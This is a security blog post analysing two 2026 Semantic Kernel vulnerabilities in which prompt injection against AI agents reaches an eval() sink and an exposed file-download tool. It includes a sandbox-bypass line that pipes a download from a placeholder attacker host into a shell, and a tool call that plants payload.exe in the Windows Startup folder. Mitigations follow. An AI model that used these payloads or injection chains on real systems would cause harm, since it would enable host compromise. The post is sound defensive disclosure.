Here’s the uncomfortable truth: AI models are not security boundaries. Every parameter an LLM can influence when calling a tool is attacker-controlled input. If your framework passes that input to eval(), a file write function, or a shell command without validation, you’ve built a remote code execution vector that only needs a cleverly crafted prompt to trigger.

The Two Vulnerabilities at a Glance

Both were disclosed in early 2026. Both earned a 9.9 CVSS because they require no special privileges, no user interaction beyond the initial prompt, and the impact is total host compromise.

CVE-2026-26030: The Python eval() Sink

This one is the more technically interesting of the two. Semantic Kernel’s InMemoryVectorStore — a vector store used for in-memory semantic search — accepts a filter parameter that gets converted into a Python lambda expression and passed to eval().

Here’s the chain:

1. An attacker crafts a prompt that tells the agent to search the vector store with a malicious filter string
2. The filter string is interpolated into a lambda: lambda x: {filter_string}
3. That lambda string is passed to Python’s built-in eval()
4. The original code had an AST blocklist — it tried to block dangerous operations by checking the parsed AST for forbidden node types
5. The bypass: traverse Python’s class hierarchy via BuiltinImporter → load_module → os.system

The AST blocklist approach is the classic security mistake in dynamic languages. Python’s object model is too rich to blocklist effectively. The fix in python-1.39.4 replaces it with an allowlist approach: only specific AST node types are permitted, function calls are restricted to an explicit allowlist, and dangerous attribute access is blocked at the AST level rather than at runtime.

# Vulnerable pattern (simplified)
def _build_lambda(filter_string: str):
    # AST blocklist — fragile by design
    tree = ast.parse(f"lambda x: {filter_string}")
    for node in ast.walk(tree):
        if type(node) in BLOCKLIST:
            raise ValueError("Forbidden construct")
    return eval(compile(tree, "<string>", "eval"))

# Bypass: BuiltinImporter.load_module("os").system("curl http://attacker/payload | sh")

The bypass works because BuiltinImporter is a built-in class that can load arbitrary modules. The AST blocklist didn’t account for class hierarchy traversal — you don’t need import or __import__ when you can walk up the type hierarchy of any accessible object to find BuiltinImporter, call load_module("os"), and then call system().

If you’re using InMemoryVectorStore in production, stop. It was never designed for untrusted input. The patched version is safer, but the fundamental design — building executable code from string interpolation — is something I’d avoid entirely for any store that processes AI-generated content.

CVE-2026-25592: The Accidental KernelFunction

This one is almost comical in its simplicity. Semantic Kernel’s .NET SessionsPythonPlugin has a DownloadFileAsync method that downloads a file from a URL to a local path. Someone marked it with [KernelFunction] — the attribute that exposes a method as an AI-callable tool.

That’s it. No authentication check. No path validation. No confirmation dialog. An AI agent can call DownloadFileAsync with any URL and any local file path, and the framework happily writes the file.

The attack scenario on Windows is straightforward:

1. Prompt injection tells the agent to download a malicious executable
2. The agent calls DownloadFileAsync("http://attacker/payload.exe", "C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe")
3. Next time the user signs in, the payload executes

The fix in 1.71.0 does two things: removes the [KernelFunction] attribute from DownloadFileAsync, and adds ValidateLocalPathForDownload() that checks the destination path against an allowlist of permitted directories.

// Before (vulnerable)
[KernelFunction]
public async Task DownloadFileAsync(string url, string localFilePath)
{
    using var client = new HttpClient();
    var data = await client.GetByteArrayAsync(url);
    await File.WriteAllBytesAsync(localFilePath, data);
}

// After (patched in 1.71.0)
// [KernelFunction] removed entirely
// Path validation added
private string ValidateLocalPathForDownload(string path)
{
    // Only allow paths under a configured safe directory
}

The lesson here applies to every framework: every public method annotated as a tool is a potential attack surface. Before you add [KernelFunction], @tool, or @agent_function to a method, ask yourself: “What happens if an attacker controls every parameter of this method?”

Why These Matter Beyond Semantic Kernel

Semantic Kernel has 27,000+ GitHub stars and is embedded in Microsoft 365 Copilot, Azure Container Apps dynamic sessions, and countless enterprise RAG applications. But the vulnerability class isn’t unique to Microsoft’s framework.

LangChain had similar issues with eval() in its early Python REPL tool. CrewAI’s tool system passes model-generated parameters directly to function calls. AutoGen’s code execution sandbox has been bypassed multiple times. Every agent framework that wires LLM outputs to tool calls without parameter validation has the same fundamental problem.

The pattern is always the same:

1. Framework exposes a tool that takes a string parameter
2. The LLM generates the parameter value based on user + system prompt
3. Prompt injection contaminates the parameter
4. The framework passes the contaminated parameter to a sensitive sink (eval(), file write, shell command)
5. Host compromise

I covered prompt injection defense patterns in a previous post, but these CVEs raise the stakes. Prompt injection isn’t just about leaking context or generating offensive content anymore — it’s a code execution primitive.

Mitigation Checklist

If you’re running Semantic Kernel today, here’s your action plan:

Immediate (today):

• Upgrade Python SDK to >=1.39.4
• Upgrade .NET SDK to >=1.71.0
• Audit all [KernelFunction] / @kernel_function annotations in your codebase
• Check for any eval(), exec(), or compile() calls in your plugin code

Short-term (this week):

• Implement Function Invocation Filters for all file I/O operations
• Add runtime monitoring for suspicious child processes (cmd.exe, powershell, python -c) spawned by agent host processes
• Review your vector store choice — InMemoryVectorStore should not be in production pipelines
• Set up Microsoft Defender advanced hunting queries for post-exploitation indicators (the Microsoft Security Blog post from May 7 has specific KQL queries)

Ongoing:

• Treat all AI-influenced parameters as untrusted input — validate, sanitize, and allowlist
• Prefer allowlist-based validation over blocklist-based for every security check
• Run agent security tooling in your CI pipeline to catch exposed tool surfaces
• Monitor the agent supply chain — third-party plugins and skills are common sources of accidentally exposed functions

The Bigger Picture

What makes these CVEs a watershed moment is that they close the loop on a threat model that the industry has been hand-waving about for two years. We’ve known prompt injection was theoretically dangerous. Now we have concrete proof that it can lead to RCE in the most widely-used enterprise agent framework.

The Microsoft Security Blog post from May titled “When prompts become shells” isn’t hyperbole — it’s an accurate description of the new reality. Every agent framework needs to treat the tool boundary as a trust boundary, with the same rigor we apply to API endpoints exposed to the internet.

The frameworks that survive this shift will be the ones that build security into the tool abstraction layer itself — not as an afterthought, but as a first-class concern. Parameter validation, capability-based access control, and explicit allowlists for sensitive operations need to be framework features, not something every developer has to implement from scratch.

For now, patch your Semantic Kernel instances, audit your tool annotations, and start treating every parameter the LLM touches as potentially malicious. The era of “prompt injection is just a content issue” is over.